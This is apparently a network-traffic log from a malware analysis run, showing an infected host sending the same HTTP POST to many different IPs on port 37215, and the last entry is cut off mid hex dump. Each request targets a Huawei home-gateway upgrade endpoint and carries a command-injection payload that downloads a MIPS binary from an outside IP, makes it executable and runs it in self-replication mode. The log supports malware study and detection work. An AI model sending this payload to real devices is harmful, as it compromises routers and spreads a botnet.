Jul 20, 2024 23:00:59.021933079 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	40934	197.16.131.86	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022037029 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	33242	41.62.99.32	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022082090 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	43002	157.180.195.105	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022098064 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	55466	41.70.65.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022114992 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	59386	41.222.221.26	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022237062 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	56484	197.112.125.91	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022237062 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	57130	41.187.2.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022254944 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	46612	20.222.215.240	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022298098 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	54018	46.185.21.147	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022344112 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	49894	114.104.89.214	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.022391081 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 